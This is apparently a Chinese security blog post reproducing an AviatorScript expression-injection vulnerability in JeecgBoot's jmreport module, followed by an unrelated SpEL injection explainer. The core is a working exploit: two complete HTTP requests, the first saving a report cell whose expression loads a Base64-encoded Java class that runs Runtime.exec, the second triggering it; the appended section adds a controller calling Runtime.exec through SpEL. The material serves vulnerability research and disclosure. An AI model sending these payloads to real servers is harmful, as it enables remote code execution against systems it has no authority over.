[漏洞复现]JeecgBoot AviatorScript表达式注入漏洞复现

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

最近有很多师傅也发了关于JeecgBoot AviatorScript表达式注入的部分或具体细节,我也来蹭一蹭,建议配合[代码审计]jeecg-boot最新权限绕过漏洞分析及新绕过发现 食用。

代码分析

可以简单过一下代码。

先去看/jeecg-boot/jmreport/save接口。

进入saveReport处理。

可以看到save接口主要就是对传入的json数据处理保存。表达式注入的触发点在show接口上。

跟进到ExpressUtil中,可以发现存在AviatorEvaluator。

往下执行发现触发点。

漏洞复现

POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 3456


{
    "loopBlockList": [],
    "area": false,
    "printElWidth": 718,
    "excel_config_id": "980882669965455363",
    "printElHeight": 1047,
    "rows": {
        "4": {
            "cells": {
                "4": {
                    "text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('test', Base64Utils.decodeFromString('yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA=='), ClassLoader.getSystemClassLoader());)",
                    "style": 0
                }
            },
            "height": 25
        },
        "len": 96,
        "-1": {
            "cells": {
                "-1": {
                    "text": "${gongsi.id}"
                }
            },
            "isDrag": true
        }
    },
    "dbexps": [],
    "toolPrintSizeObj": {
        "printType": "A4",
        "widthPx": 718,
        "heightPx": 1047
    },
    "dicts": [],
    "freeze": "A1",
    "dataRectWidth": 701,
    "background": false,
    "name": "sheet1",
    "autofilter": {},
    "styles": [
        {
            "align": "center"
        }
    ],
    "validations": [],
    "cols": {
        "4": {
            "width": 95
        },
        "len": 50
    },
    "merges": [
        "E4:F4",
        "B4:B5",
        "C4:C5",
        "D4:D5",
        "G4:G5",
        "H4:H5",
        "I4:I5",
        "D1:G1",
        "H3:I3"
    ]
}

POST /jeecg-boot/jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI= HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 42


{
    "id": "980882669965455363"
}

参考链接

https://github.com/jeecgboot/JeecgBoot/issues/7014

https://github.com/killme2008/aviatorscript/issues/421

https://whoopsunix.com/docs/java/Expression/Aviator/#jdk-%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84-aviator-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SpringBoot SpEL表达式注入漏洞是一种常见的安全漏洞,攻击者可以利用该漏洞在应用中执行恶意代码,从而导致应用被攻击。下面我将对该漏洞进行分析与复现。 一、漏洞分析 SpringBoot中的SpEL(Spring Expression Language)是一种基于表达式的语言,用于在运行时动态地计算值或执行逻辑。SpEL表达式可以用于访问对象的属性、调用对象的方法、进行条件判断等操作。在SpringBoot中,SpEL表达式可以用于注解中的属性值、配置文件中的属性值等场景。 在SpEL表达式中,可以使用一些特殊的语法来引用Bean对象或调用Bean对象的方法。例如,可以使用`#{beanName.methodName()}`的语法来调用Bean对象的方法。如果在SpEL表达式中使用了未经过滤的用户输入,就会存在SpEL表达式注入漏洞。 攻击者可以通过构造恶意的SpEL表达式,将其注入到应用中,从而执行恶意代码。例如,可以将`#{T(java.lang.Runtime).getRuntime().exec('calc')}`注入到应用中,从而在受害者机器上执行计算器程序。 二、漏洞复现 下面我将通过一个简单的漏洞复现来说明SpEL表达式注入漏洞的危害性。 1. 创建一个SpringBoot应用 首先,我们需要创建一个SpringBoot应用。可以使用Spring Initializr来快速创建一个基本的SpringBoot应用。 2. 添加注解 在创建好的SpringBoot应用中,我们可以添加一个Controller类,并在其中添加一个RequestMapping注解。在RequestMapping注解中,我们可以使用SpEL表达式来引用Bean对象或调用Bean对象的方法。 ```java @RestController public class MyController { @RequestMapping("/test") public String test() { return "hello world"; } @RequestMapping(value = "/{name}", method = RequestMethod.GET) public String sayHello(@PathVariable("name") String name) { return "Hello " + name + "!"; } @RequestMapping(value = "/spel", method = RequestMethod.GET) public String spel() { String expression = "#{T(java.lang.Runtime).getRuntime().exec('calc')}"; ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(expression); return exp.getValue().toString(); } } ``` 在上述代码中,我们在/spel接口中使用了SpEL表达式来调用Runtime.getRuntime().exec方法,从而执行计算器程序。 3. 启动应用 启动应用后,访问/spel接口,可以看到计算器程序被成功执行。 4. 防范措施 为了防范SpEL表达式注入漏洞,我们可以采取以下措施: 1. 对用户输入进行过滤和验证,避免未经过滤的用户输入被注入到SpEL表达式中。 2. 尽量避免在注解或配置文件中使用SpEL表达式。 3. 对于必须使用SpEL表达式的场景,可以对SpEL表达式进行白名单过滤,只允许特定的SpEL表达式被执行。 4. 在应用中禁用动态表达式功能,避免SpEL表达式被执行。 5. 总结 SpEL表达式注入漏洞是一种常见的安全漏洞,攻击者可以利用该漏洞在应用中执行恶意代码。为了防范该漏洞,我们需要对用户输入进行过滤和验证,避免未经过滤的用户输入被注入到SpEL表达式中。同时,尽量避免在注解或配置文件中使用SpEL表达式,对于必须使用SpEL表达式的场景,可以对SpEL表达式进行白名单过滤,只允许特定的SpEL表达式被执行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值